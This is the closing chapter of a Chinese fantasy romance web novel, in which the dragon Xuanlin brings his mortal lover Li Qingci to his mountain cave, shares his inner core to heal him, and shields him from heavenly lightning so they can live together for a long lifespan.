一直以来,凡人对他都是惧怕的,那些人看到他无不惊恐。 他是妖,有着超乎凡人的力量,它的原型极为庞大,尾巴轻轻一扫,就能把一个人随意拍死。 可是李青辞从认识他开始,就没有对他流露过惧怕的情绪。 慢慢的,李青辞对他越来越依赖,越来越眷恋,和他住在地洞里,把命交到他手里。 他在李青辞面前施展过很多法术,他毋庸置疑是强大的,态度有时候也是强硬的,他很容易就能压制李青辞。 他和李青辞力量对比,极为悬殊,可以说,他一根指头就能戳死李青辞。 当他被锁住,满心暴躁,猩红着眼,一脸怒意地看着李青辞时,李青辞没有退缩,仍是乖乖地来到他身前。 被他掐住脖子时也没有抵抗,即使被他打骂,李青辞依旧毫不设防地睡在他身边。 李青辞到底是怀揣着一种怎样的想法,才能这么毫无保留地留在他一个妖兽身边。 玄鳞感受着掌心中的柔软,心想,李青辞待在他身边,处境其实是很危险的。 自己如果好好捧着他,他就能安然地睡在掌心中,被疼着、爱着,一辈子活得安稳幸福。 可如果自己的手稍微倾斜一下,他就会从高处跌落,摔得粉身碎骨。 这一刻,玄鳞心中既酸涩又甜蜜,李青辞是真的很爱他、信赖他。 玄鳞摆动尾巴,落在一处山头上,他揭开毯子露出里面的人。 乍一见到光亮,李青辞眯了眯眼:“怎么了?” 玄鳞捧着他的脸,语气郑重:“小崽儿,我一定会好好爱你的,我会一直爱你。” 李青辞高高翘着嘴角,笑得很开心:“我知道呀!我也好爱你!我也会一直一直爱你。” 玄鳞心尖一顿乱颤,搂着他狠狠揉搓一顿,含着他的嘴唇用力地舔,扣开松散的齿关,探进嘴里亲他。 李青辞无比乖顺,仰着下巴迎合,眼角眉梢都流露出笑意。 玄鳞紧紧搂着人,在白净的脸蛋上重重亲了一口。 要不是现在急等着回家,他非得缠着人好好疼一场。 玄鳞抱着人一刻都舍不得松开:“我的心肝宝贝呀,我怎么这么稀罕你呢!” 李青辞垂下了眼皮,神色郁郁:“你怎么不早这么稀罕我,我年轻的时候你不疼我。” 玄鳞捏他撅起来的嘴唇:“小没良心的,我以前怎么不稀罕你了,之前除了没在交尾这件事上疼过你,其他的,我不是一直都疼着你吗,还要怎么疼?” 李青辞听完愣住了。 好像是哦。 玄鳞笑了起来,亲他的额头:“好了,我知道了,以后我一定好好疼你,就待在里面不出来,要不是你太小撑不住,我非要俩一块疼你。” 李青辞羞恼:“我不是这个意思!” 玄鳞收起笑容,神色正经起来:“我知道,我会好好补给你的。” 以前是他傻,脑子没有转过来弯儿,所幸上天还是很眷顾他的,他还有机会弥补。 李青辞低着头没说话,逝去的时光怎么可能补得回来。 他永远都不可能回到十七岁了。 但是…… 他看着这双充斥着爱意的暗金色眼睛,心想,日子要往前看,他会有七十岁,会有一百岁,可能更多。 他和玄鳞还能好好地相爱。 两人同时抬起下巴,唇瓣相贴。 亲完后,玄鳞又在他嘴上重重舔了一口:“真是我的心肝肉大宝贝儿!好啦,咱们要继续往前走了。” 一蛟一人,一路东行。 …… 在旭日东升,一片灿烂之际,李青辞被玄鳞抱在怀里,立在山巅。 千万道山棱在晨光中镀上金边,群山拔地而起,苍黑的峰峦似乎要刺破青天,岩壁裂缝间迸出几株倔强的古树,根须如铁爪般抠进石缝。 山脉连绵不断,一眼望不到尽头,近处的半山腰云雾缭绕,山风过时,林海掀起阵阵涛声,整座山峰都在发出低沉的呜咽。 李青辞被眼前的景象震惊得久久不能言语,他喃喃道:“玄鳞,这就是你家吗?” 玄鳞放下他,牵住他的手往下走:“是啊。” 李青辞抿动嘴唇,抓紧玄鳞的手,低着头小声说话:“我以前真是委屈你了,让你待在那么小的房子里。” 玄鳞哼了一声:“知道就好。” 山路有些陡,也没有台阶,全是嶙峋怪石,李青辞走了一段之后就跟不上了。 玄鳞一扯手臂把人带到怀里,摸着他的脸说:“没事,等过两天,我给你修条路。” 李青辞身形腾空,被玄鳞抱在怀里,他望着远处没有尽头的山脉,不由得惊叹:“感觉我在这里几十年都逛不完。” 玄鳞笑了一声:“反正也没事,你就在这儿慢慢玩吧。” 他步调不紧不慢,在崎岖的山路上如履平地,没一会儿,两人就站在洞口前。 这个洞口在山峰的上半截儿,入口极为宽敞,凸出来一块石台,刚好能在这里晒太阳,里头是长长的甬道,一眼望去漆黑一片,什么也看不清。 李青辞被抱着往里走,停在一片明暗交界处。 玄鳞放下他,拼好石头:“就先待在这儿吧,有亮光,不黑,太阳照不进来,省得又晒。” 李青辞刚被放到床上,立刻就又坐起来了,他抓着玄鳞的手,往里走,四处探看:“这就是你的家吗?怎么光秃秃的?” 除了石头什么都没有啊,可以说是家徒四壁。 玄鳞弹他的脑门:“我跟你们人又不一样,用不着那么多乱七八糟的东西,有个洞睡就可以了。” 顿了顿,他当即又说:“你别担心,你平常用的东西都我带来了,就算有什么缺的,我也可以立刻去买,一会儿就回来了,不耽误你用。” 李青辞笑了起来,一把搂住他的腰,脑袋在他肩头磨蹭:“我知道,我一点都不担心,反正有你在,肯定苦不着我。” 玄鳞摸着他的脑袋,感受着他身上浓郁的死气,重新抱起他往里走。 “算了,小崽儿,你先别歇了,等彻底好了再歇。” 李青辞搂住他的脖子,眯眼感受着越来越晦暗的视线:“好,我们要做什么呀?” 玄鳞低声安抚:“小崽儿不怕,等会儿你可能会有一些疼,但我会护着你的,尽量不让你那么疼,你乖乖的,忍一忍啊。” 李青辞不知道玄鳞会付出什么样的代价,他颤抖着嘴唇没有说话。 玄鳞搂紧他,将他的脑袋压在自己肩上,凿出一方池子。 粗壮的蛟尾蜿蜒在水池里,尾身同时迸发出多处伤口,哗啦啦的血往池子里流。 李青辞嗅着空气中浓郁的血腥气,惊惶着开口:“玄鳞,你在做什么?又在放自己的血吗?” 玄鳞箍住他,不让他乱动,语气如常:“不是,你好好待着。” 李青辞忍不住哭了起来,伸手推他:“你骗我,血腥味这么重,我都闻见了。” 玄鳞只嗯了一声,没再说旁的。 李青辞快被这越来越浓的血腥味逼疯了。 池子里盛着浓稠的血水。 玄鳞抱着李青辞往水潭边走:“小崽儿乖,先不穿衣服了。” 他剥去李青辞身上的衣服,抱着人泡在血池里。 李青辞眼前一片漆黑,什么都看不见,他茫然地睁着眼睛,无助地摸索。 玄鳞深深看着他,擦去他眼尾的泪珠,然后罩住他的眼睛。 李青辞两只手都紧紧攥住玄鳞的小臂,他现在浑身热得发烫,鼻尖浓重的血腥味已经让他的嗅觉失去了感知。 “玄鳞,你要做什么?又要伤害自己吗?” 李青辞从来没有这么无力过,他明知道玄鳞要受伤,可是他没办法阻拦。 黑暗中,金光大盛,一颗如同太阳般耀眼的金色珠子从玄鳞嘴中吐出。 “小崽不怕啊,我陪着你的,很快就好了,以后咱们再也不遭罪了。” 身旁萦绕着一股熟悉的感觉,李青辞茫然的心中突然闪过一道亮光,他知道玄鳞要做什么了。 下一瞬,金色珠子被分成两半。 玄鳞浑身震颤,紧紧蹙着的眉心昭示着他在忍受极大的痛苦,他竭力维持自己的气息,每动一下都要耗去他极大的力气。 他缓慢地凑到李青辞脸边,与他唇瓣相贴,将他的半颗内丹喂给李青辞。 即使李青辞吃了玄鳞那么多血肉,又得到了他的元阳,可他一个凡人之躯要承受千年蛟龙的半颗内丹,仍是极为勉强。 李青辞紧紧捂着肚子,他感觉自己要被烧穿了,嘴唇咬得血肉斑驳,也不敢哭喊出声。 玄鳞已经为他做了这么多了,他不能再哭,惹得玄鳞为他担心,还要反过来安慰他。 “小崽儿,想哭就哭,觉得疼就嚎出来,不要咬嘴唇。”玄鳞语气已经竭力保持平稳,可仍是透出从未有过的虚弱。 李青辞眼泪汹涌而出,嗓音嘶哑破碎,只一声声喊着玄鳞的名字。 玄鳞把他搂在怀里,双手都覆在他身上,为他化去内丹的灼热。 浓稠的血水包裹着李青辞的躯体,为他提供源源不断的精气,半颗内丹在李青辞小腹中快速流转,滋养他的身体,强横地驱除他体内的死气。 渐渐,坚实有力的手掌滑落。 玄鳞再难支撑,他彻底化为原形,脑袋无力地垂在池边。 腹中灼热的感觉渐渐消退,李青辞勉强有了些力气,失去怀抱的他显得那么慌张无助。 “玄鳞,你在哪?” 李青辞用力睁大眼睛,伸出手去摸索,只摸到一片冰凉坚硬西,不管他往哪里摸,全都如此,李青辞心里泛起恐慌。 “玄鳞,我摸到的是你吗?你怎么了?你抱抱我好不好?” 这时一股清冽的气息吹在李青辞身上,李青辞立刻顺着气息往前爬:“玄鳞,这是你吗?是你对不对?你是变回原形了吗?” 玄鳞此时极为虚弱,没有办法化作人形去抱小崽子,他的声音很轻:“小崽儿不怕啊,是我,我有些困了,想睡一觉,等我睡醒了就抱你。” 李青辞哭着去抱他:“你是不是受了很重的伤,你的内丹给了我,你会怎么样?” “不怎么样,只是给了你一点点内丹而已,没什么妨碍。” 李青辞哭得说不出话来,又骗他。 这时一根柔韧冰凉的东西圈住了他的手腕。 玄鳞抖动自己的须子,将人扯过来:“安心睡吧,小崽儿,等你醒来一切都好了。” 没等李青辞开口说话,一股气息再度吹到他身上,眨了眨眼,他立刻昏睡过去。 一人一蛟,同时陷入沉睡。 血池里的血液逐渐减少,李青辞身上的死气慢慢变淡。 一片静谧中,惊雷乍响,如在耳侧。 天谴到了。 玄鳞从沉睡中醒来,当即朝李青辞深吹了一口气,用爪子小心捧起他,飞到洞外一片空旷处。 他把尾巴尖儿垫在底下,蛟身盘了几圈,将李青辞搁在中间柔软的腹部上。 黑蛟垂首盘踞,如山岳般的身躯轰然压下,将人牢牢护在自己腹下,嶙峋的鳞甲间翻涌着千年阴寒之气。 第一道紫电劈开云层,天雷砸在黑蛟脊梁上的瞬间,整片山崖都在震颤,那些硕大坚硬的玄鳞突然炸起,露出底下猩红的血肉,血肉被天雷劈得焦黑翻卷,却又在雷光中疯狂再生。 第二道天雷接踵而至,雷霆炸裂的瞬间,黑蛟脊背鳞甲崩开裂纹,却仍牢牢撑住身躯,没有退缩半分,他腹下护着的人依旧安稳睡着。 最后一道天雷劈落,黑蛟猛然弓身,以蛟角迎击,与雷霆悍然相撞,硬抗天道之威,雷火炸裂的刹那,天地皆白。 待光芒散去,它身上数片鳞甲剥落,翻出斑驳的血肉,却仍死死盘踞成一座坚不可摧的牢笼,护住身下之人。 天谴已过,雷声消退,乌云散去。 黑蛟缓缓展开身躯,露出底下的人影。 李青辞睡得很熟,小脸红扑扑的,眉眼柔和恬淡,从里到外都散发着黑蛟的气息。 玄鳞抖了抖须子,轻轻蹭了蹭他的脸蛋,把人捧在手心里,朝洞穴飞去。 从此以后,李青辞会维持这副身躯与黑蛟同寿。 真好。 玄鳞忍不住笑了起来,他可以和小崽子好好过日子了,是很长很长的一辈子。 虽然他是一条失去逆鳞和半颗内丹的残缺的蛟。 但他得到了世上最好的珍宝,是天上地下、绝无仅有、只此一个的漂亮小崽儿。 李青辞说得对,有得必有舍。 玄鳞开心地直甩尾巴,他用尾巴尖儿紧紧圈住李青辞,须子缠住李青辞一缕头发,脸朝着李青辞,确保自己的呼吸能全部呵在他身上。 这时,李青辞咕哝一声:“玄鳞……” 玄鳞满心欢喜地应了:“哎!我的心肝肉啊,陪我再睡会儿吧,等醒来,我带你在山里飞一圈。” 李青辞感受到了自己身体的变化,沉疴尽去,焕若新生。 他抽了抽鼻子,呼吸间的血腥味儿那么浓郁,他忍不住眼圈泛红,紧紧抱住怀里的尾巴,用脸颊蹭着冰凉的鳞片:“好,你想睡多久都行,我都能陪着你。” “小崽儿真乖!”玄鳞开心得不行。 他吸收的日月精华,小崽子能得到一半,小崽子不用一会儿一顿饭,不用每天都睡觉,再也不会生病,他以后可以抱着小崽子好好睡觉了,想睡多久都行。 还可以多用点力气疼他的雌兽,能一次疼很久,他的雌兽受得住。 玄鳞缓缓挪动身体,绕着李青辞盘桓几圈,将人圈在怀里。 李青辞抱着尾巴,浸没在熟悉的清冽气味里,安心睡去。 一人一蛟,朝暮并往,共度岁长—— 全文完,他们的故事继续 【正文完】【你现在阅读的是 】